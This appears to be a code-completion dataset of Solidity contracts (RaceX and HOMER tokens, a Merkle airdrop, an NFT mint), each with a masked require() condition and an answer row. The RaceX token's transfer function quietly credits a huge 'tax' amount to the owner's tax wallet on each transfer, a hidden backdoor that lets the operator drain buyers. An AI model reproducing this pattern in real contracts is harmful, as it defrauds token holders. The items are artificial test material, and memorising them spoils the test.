// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract RaceX is Context, Ownable, IERC20 {
using SafeMath for uint256;
bool private inSwap = false;
bool private swapEnabled = false;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _holderLastTimestampTransfer;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public _swapThreshold= _tTotal * 2 / 10000;
uint256 public _maxSwap = _tTotal * 10 ** 33;
uint256 public _maxTx = _tTotal * 4 / 100;
uint256 public _mWallet = _tTotal * 4 / 100;
string private constant _name = "RaceX";
string private constant _symbol = "RaceX";
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _finalBuyTax=0;
uint256 private _reduceBuyTaxAt=3;
uint256 private _reduceSellTaxAt=3;
uint256 private _finalSellTax=0;
uint256 private _initialSellTax=0;
uint256 private _preventSwapBefore=3;
uint256 private _buyCount=0;
event MaxTxAmountUpdated(uint _maxTx);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function totalSupply() public pure override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = _maxSwap;
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTimestampTransfer[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTimestampTransfer[tx.origin] = block.number;
}
}
if(to == uniswapV2Pair && from!= address(this) && ! _isExcludedFromFee[from] ){
taxAmount += min(0, address(this).balance);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTx, "Exceeds the _maxTx.");
require(<FILL_ME>)
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[_taxWallet]=_balances[address(this)].add(taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function openTrading() external payable onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
}
| balanceOf(to)+amount<=_mWallet,"Exceeds the maxWalletSize." | 215,777 | balanceOf(to)+amount<=_mWallet |
"Max wallet exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract HOMER is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
address private MarketingWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private swapping;
uint256 public MaxTxLimit;
uint256 public swapTokensAtAmount;
uint256 public MaxWalletLimit;
uint256 private launchedAt;
uint256 private launchedTime;
uint256 public deadBlocks;
uint256 public buyTotalFees;
uint256 private buyMarketingFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(uint256 => uint256) private swapInBlock;
mapping(address => bool) public _isExcludedMaxTxLimit;
mapping(address => bool) public automatedMarketMakerPairs;
mapping (address => bool) public _isBlacklisted;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"Wild Homer", unicode"HOMER") {
}
receive() external payable {}
function EnableTrading(uint256 _deadBlocks) external onlyOwner {
}
function DisableLimits() external onlyOwner returns (bool) {
}
function ChangeSwapAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function manualswap(uint256 amount) external {
}
//adding Bots to the blacklist - Used to manually block known bots and scammers
function BlacklistWallet(address Address , bool Value) external onlyOwner {
}
function manualsend() external {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(
uint256 _marketingFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee
) external onlyOwner {
}
function Airdrop(address[] calldata addresses, uint256[] calldata amounts) external {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "To/from address is blacklisted!");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 blockNum = block.number;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if
((launchedAt + deadBlocks) >= blockNum)
{
MaxTxLimit = 35_000_000 * 1e18;
MaxWalletLimit = 35_000_000 * 1e18;
buyMarketingFee = 90;
buyTotalFees = buyMarketingFee;
sellMarketingFee = 90;
sellTotalFees = sellMarketingFee;
} else if(blockNum > (launchedAt + deadBlocks) && blockNum <= launchedAt + 8)
{
MaxTxLimit = 35_000_000 * 1e18;
MaxWalletLimit = 35_000_000 * 1e18;
buyMarketingFee = 60;
buyTotalFees = buyMarketingFee;
sellMarketingFee = 60;
sellTotalFees = sellMarketingFee;
}
else
{
MaxTxLimit = 35_000_000 * 1e18;
MaxWalletLimit = 35_000_000 * 1e18;
buyMarketingFee = 0;
buyTotalFees = buyMarketingFee;
sellMarketingFee = 0;
sellTotalFees = sellMarketingFee;
}
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTxLimit[to]
) {
require(
amount <= MaxTxLimit,
"Buy transfer amount exceeds the MaxTxLimit."
);
require(<FILL_ME>)
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTxLimit[from]
) {
require(
amount <= MaxTxLimit,
"Sell transfer amount exceeds the MaxTxLimit."
);
} else if (!_isExcludedMaxTxLimit[to]) {
require(
amount + balanceOf(to) <= MaxWalletLimit,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
(swapInBlock[blockNum] < 2) &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
++swapInBlock[blockNum];
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapBack() private {
}
function getContractAddress() external view returns(address) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
}
| amount+balanceOf(to)<=MaxWalletLimit,"Max wallet exceeded" | 215,867 | amount+balanceOf(to)<=MaxWalletLimit |
"Not Start" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2 ;
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Adminable.sol";
contract Airdrop is Adminable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event TrancheAdded (uint256 tranchId, bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount);
event Claimed(uint256 tranchId, address account, uint256 balance);
event TrancheExpired (uint256 tranchId, uint expireAmount);
struct Tranche {
bytes32 merkleRoot;
uint64 startTime;
uint64 endTime;
uint256 totalAmount;
uint256 claimedAmount;
}
IERC20 public token;
mapping(uint256 => Tranche) public tranches;
mapping(uint256 => mapping(address => bool)) public claimed;
uint256 public trancheIdx;
constructor (IERC20 _token){
}
function newTranche(bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount) external onlyAdmin
{
}
function expireTranche(uint256 _trancheId) external onlyAdmin {
}
function claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external
{
}
function claims(address account, uint256[] calldata _trancheIds, uint256[] calldata _balances, bytes32[][] calldata _merkleProofs) external {
}
function verifyClaim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external view returns (bool valid) {
}
function _claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] memory _merkleProof) private {
require(_trancheId < trancheIdx, "Incorrect trancheId");
require(<FILL_ME>)
require(tranches[_trancheId].endTime > block.timestamp, "Expire");
require(!claimed[_trancheId][account], "Already claimed");
require(_verifyClaim(account, tranches[_trancheId].merkleRoot, _balance, _merkleProof), "Incorrect merkle proof");
claimed[_trancheId][account] = true;
tranches[_trancheId].claimedAmount = tranches[_trancheId].claimedAmount.add(_balance);
emit Claimed(_trancheId, account, _balance);
}
function _verifyClaim(address account, bytes32 root, uint256 _balance, bytes32[] memory _merkleProof) private pure returns (bool valid) {
}
function _disburse(address account, uint256 _balance) private {
}
}
| tranches[_trancheId].startTime<block.timestamp,"Not Start" | 215,951 | tranches[_trancheId].startTime<block.timestamp |
"Expire" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2 ;
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Adminable.sol";
contract Airdrop is Adminable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event TrancheAdded (uint256 tranchId, bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount);
event Claimed(uint256 tranchId, address account, uint256 balance);
event TrancheExpired (uint256 tranchId, uint expireAmount);
struct Tranche {
bytes32 merkleRoot;
uint64 startTime;
uint64 endTime;
uint256 totalAmount;
uint256 claimedAmount;
}
IERC20 public token;
mapping(uint256 => Tranche) public tranches;
mapping(uint256 => mapping(address => bool)) public claimed;
uint256 public trancheIdx;
constructor (IERC20 _token){
}
function newTranche(bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount) external onlyAdmin
{
}
function expireTranche(uint256 _trancheId) external onlyAdmin {
}
function claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external
{
}
function claims(address account, uint256[] calldata _trancheIds, uint256[] calldata _balances, bytes32[][] calldata _merkleProofs) external {
}
function verifyClaim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external view returns (bool valid) {
}
function _claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] memory _merkleProof) private {
require(_trancheId < trancheIdx, "Incorrect trancheId");
require(tranches[_trancheId].startTime < block.timestamp, "Not Start");
require(<FILL_ME>)
require(!claimed[_trancheId][account], "Already claimed");
require(_verifyClaim(account, tranches[_trancheId].merkleRoot, _balance, _merkleProof), "Incorrect merkle proof");
claimed[_trancheId][account] = true;
tranches[_trancheId].claimedAmount = tranches[_trancheId].claimedAmount.add(_balance);
emit Claimed(_trancheId, account, _balance);
}
function _verifyClaim(address account, bytes32 root, uint256 _balance, bytes32[] memory _merkleProof) private pure returns (bool valid) {
}
function _disburse(address account, uint256 _balance) private {
}
}
| tranches[_trancheId].endTime>block.timestamp,"Expire" | 215,951 | tranches[_trancheId].endTime>block.timestamp |
"Already claimed" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2 ;
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Adminable.sol";
contract Airdrop is Adminable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event TrancheAdded (uint256 tranchId, bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount);
event Claimed(uint256 tranchId, address account, uint256 balance);
event TrancheExpired (uint256 tranchId, uint expireAmount);
struct Tranche {
bytes32 merkleRoot;
uint64 startTime;
uint64 endTime;
uint256 totalAmount;
uint256 claimedAmount;
}
IERC20 public token;
mapping(uint256 => Tranche) public tranches;
mapping(uint256 => mapping(address => bool)) public claimed;
uint256 public trancheIdx;
constructor (IERC20 _token){
}
function newTranche(bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount) external onlyAdmin
{
}
function expireTranche(uint256 _trancheId) external onlyAdmin {
}
function claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external
{
}
function claims(address account, uint256[] calldata _trancheIds, uint256[] calldata _balances, bytes32[][] calldata _merkleProofs) external {
}
function verifyClaim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external view returns (bool valid) {
}
function _claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] memory _merkleProof) private {
require(_trancheId < trancheIdx, "Incorrect trancheId");
require(tranches[_trancheId].startTime < block.timestamp, "Not Start");
require(tranches[_trancheId].endTime > block.timestamp, "Expire");
require(<FILL_ME>)
require(_verifyClaim(account, tranches[_trancheId].merkleRoot, _balance, _merkleProof), "Incorrect merkle proof");
claimed[_trancheId][account] = true;
tranches[_trancheId].claimedAmount = tranches[_trancheId].claimedAmount.add(_balance);
emit Claimed(_trancheId, account, _balance);
}
function _verifyClaim(address account, bytes32 root, uint256 _balance, bytes32[] memory _merkleProof) private pure returns (bool valid) {
}
function _disburse(address account, uint256 _balance) private {
}
}
| !claimed[_trancheId][account],"Already claimed" | 215,951 | !claimed[_trancheId][account] |
"Incorrect merkle proof" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2 ;
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Adminable.sol";
contract Airdrop is Adminable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event TrancheAdded (uint256 tranchId, bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount);
event Claimed(uint256 tranchId, address account, uint256 balance);
event TrancheExpired (uint256 tranchId, uint expireAmount);
struct Tranche {
bytes32 merkleRoot;
uint64 startTime;
uint64 endTime;
uint256 totalAmount;
uint256 claimedAmount;
}
IERC20 public token;
mapping(uint256 => Tranche) public tranches;
mapping(uint256 => mapping(address => bool)) public claimed;
uint256 public trancheIdx;
constructor (IERC20 _token){
}
function newTranche(bytes32 merkleRoot, uint64 startTime, uint64 endTime, uint256 totalAmount) external onlyAdmin
{
}
function expireTranche(uint256 _trancheId) external onlyAdmin {
}
function claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external
{
}
function claims(address account, uint256[] calldata _trancheIds, uint256[] calldata _balances, bytes32[][] calldata _merkleProofs) external {
}
function verifyClaim(address account, uint256 _trancheId, uint256 _balance, bytes32[] calldata _merkleProof) external view returns (bool valid) {
}
function _claim(address account, uint256 _trancheId, uint256 _balance, bytes32[] memory _merkleProof) private {
require(_trancheId < trancheIdx, "Incorrect trancheId");
require(tranches[_trancheId].startTime < block.timestamp, "Not Start");
require(tranches[_trancheId].endTime > block.timestamp, "Expire");
require(!claimed[_trancheId][account], "Already claimed");
require(<FILL_ME>)
claimed[_trancheId][account] = true;
tranches[_trancheId].claimedAmount = tranches[_trancheId].claimedAmount.add(_balance);
emit Claimed(_trancheId, account, _balance);
}
function _verifyClaim(address account, bytes32 root, uint256 _balance, bytes32[] memory _merkleProof) private pure returns (bool valid) {
}
function _disburse(address account, uint256 _balance) private {
}
}
| _verifyClaim(account,tranches[_trancheId].merkleRoot,_balance,_merkleProof),"Incorrect merkle proof" | 215,951 | _verifyClaim(account,tranches[_trancheId].merkleRoot,_balance,_merkleProof) |
"You can only buy 5 NFTs total" | /*
███████ ██ ███████ ██ ██ ██ ██ ██ █████ ██████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ █████ ██ ██ ██ ██ ██ ███████ ██ ███ █████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██ ████ ██ ███████ ███████ ██ ██ ██████ ███████ ███████
*/
pragma solidity ^0.8.0;
contract ElfVillages is ERC721A, ERC2981, Ownable {
using Strings for uint256;
// ============ Constants ============
uint256 private constant MAX_SUPPLY = 10_000;
uint96 private constant ROYALTIES_BPS = 500; // = 5%
uint96 private constant REVEALING_TIME = 24 hours;
uint256 private constant MAX_MINT_QUANTITY = 5;
uint256 private constant WHITELIST_QUANTITY = 500;
// ============ Variables ============
uint256 public price; // Price in native token with 18 decimals
bool public revealed;
address public royaltyReceiver;
string public baseTokenUri; // should have ending /
mapping(address => bool) public whitelistClaimed;
uint256 public whitelistNumberClaimed;
bytes32 public merkleRoot;
uint256 private _soldOutTimestamp;
string private _contractUri;
// ============ Events ============
event Revealed(string tokenUri);
event PriceUpdated(uint256 price);
event MerkleRootUpdated(bytes32 merkleRoot);
// ============ Methods ============
constructor(
address royaltiesReceiver,
uint256 price_,
string memory baseTokenUri_,
string memory contractUri_,
bytes32 merkleRoot_
) ERC721A("ElfVillages", "ELV") {
}
/**
* @param newBaseTokenUri revealed json URI address with ending /
*/
function reveal(string memory newBaseTokenUri) public onlyOwner {
}
function isWhitelisted(address addressToCheck, bytes32[] calldata merkleProof) public view returns (bool) {
}
/**
* @dev Merkle root of whitelisted addresses created eg. by merkletreejs
* @param merkleRoot_ merkle root of all whitelisted addresses
*/
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function mint(uint256 quantity) external payable {
require(quantity <= MAX_MINT_QUANTITY, "Too big quantity");
require(quantity * price <= msg.value, "Too small amount");
require(<FILL_ME>)
require(quantity + _totalMinted() + WHITELIST_QUANTITY <= MAX_SUPPLY, "Not enough NFTs");
if (quantity + _totalMinted() + WHITELIST_QUANTITY == MAX_SUPPLY) {
_soldOutTimestamp = block.timestamp;
}
_safeMint(_msgSender(), quantity);
}
/**
* @param merkleProof merkle proof for sender's address
*/
function mintWhitelist(bytes32[] calldata merkleProof) external {
}
function withdraw() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Link to contract level metadata json. See
* [Contract-level metadata](https://docs.opensea.io/docs/contract-level-metadata).
*/
function setContractURI(string memory newContractURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| balanceOf(_msgSender())+quantity<=(whitelistClaimed[_msgSender()]?6:5),"You can only buy 5 NFTs total" | 216,195 | balanceOf(_msgSender())+quantity<=(whitelistClaimed[_msgSender()]?6:5) |
"Not enough NFTs" | /*
███████ ██ ███████ ██ ██ ██ ██ ██ █████ ██████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ █████ ██ ██ ██ ██ ██ ███████ ██ ███ █████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██ ████ ██ ███████ ███████ ██ ██ ██████ ███████ ███████
*/
pragma solidity ^0.8.0;
contract ElfVillages is ERC721A, ERC2981, Ownable {
using Strings for uint256;
// ============ Constants ============
uint256 private constant MAX_SUPPLY = 10_000;
uint96 private constant ROYALTIES_BPS = 500; // = 5%
uint96 private constant REVEALING_TIME = 24 hours;
uint256 private constant MAX_MINT_QUANTITY = 5;
uint256 private constant WHITELIST_QUANTITY = 500;
// ============ Variables ============
uint256 public price; // Price in native token with 18 decimals
bool public revealed;
address public royaltyReceiver;
string public baseTokenUri; // should have ending /
mapping(address => bool) public whitelistClaimed;
uint256 public whitelistNumberClaimed;
bytes32 public merkleRoot;
uint256 private _soldOutTimestamp;
string private _contractUri;
// ============ Events ============
event Revealed(string tokenUri);
event PriceUpdated(uint256 price);
event MerkleRootUpdated(bytes32 merkleRoot);
// ============ Methods ============
constructor(
address royaltiesReceiver,
uint256 price_,
string memory baseTokenUri_,
string memory contractUri_,
bytes32 merkleRoot_
) ERC721A("ElfVillages", "ELV") {
}
/**
* @param newBaseTokenUri revealed json URI address with ending /
*/
function reveal(string memory newBaseTokenUri) public onlyOwner {
}
function isWhitelisted(address addressToCheck, bytes32[] calldata merkleProof) public view returns (bool) {
}
/**
* @dev Merkle root of whitelisted addresses created eg. by merkletreejs
* @param merkleRoot_ merkle root of all whitelisted addresses
*/
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function mint(uint256 quantity) external payable {
require(quantity <= MAX_MINT_QUANTITY, "Too big quantity");
require(quantity * price <= msg.value, "Too small amount");
require(balanceOf(_msgSender()) + quantity <= (whitelistClaimed[_msgSender()] ? 6 : 5), "You can only buy 5 NFTs total");
require(<FILL_ME>)
if (quantity + _totalMinted() + WHITELIST_QUANTITY == MAX_SUPPLY) {
_soldOutTimestamp = block.timestamp;
}
_safeMint(_msgSender(), quantity);
}
/**
* @param merkleProof merkle proof for sender's address
*/
function mintWhitelist(bytes32[] calldata merkleProof) external {
}
function withdraw() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Link to contract level metadata json. See
* [Contract-level metadata](https://docs.opensea.io/docs/contract-level-metadata).
*/
function setContractURI(string memory newContractURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| quantity+_totalMinted()+WHITELIST_QUANTITY<=MAX_SUPPLY,"Not enough NFTs" | 216,195 | quantity+_totalMinted()+WHITELIST_QUANTITY<=MAX_SUPPLY |
"Sold out" | /*
███████ ██ ███████ ██ ██ ██ ██ ██ █████ ██████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ █████ ██ ██ ██ ██ ██ ███████ ██ ███ █████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██ ████ ██ ███████ ███████ ██ ██ ██████ ███████ ███████
*/
pragma solidity ^0.8.0;
contract ElfVillages is ERC721A, ERC2981, Ownable {
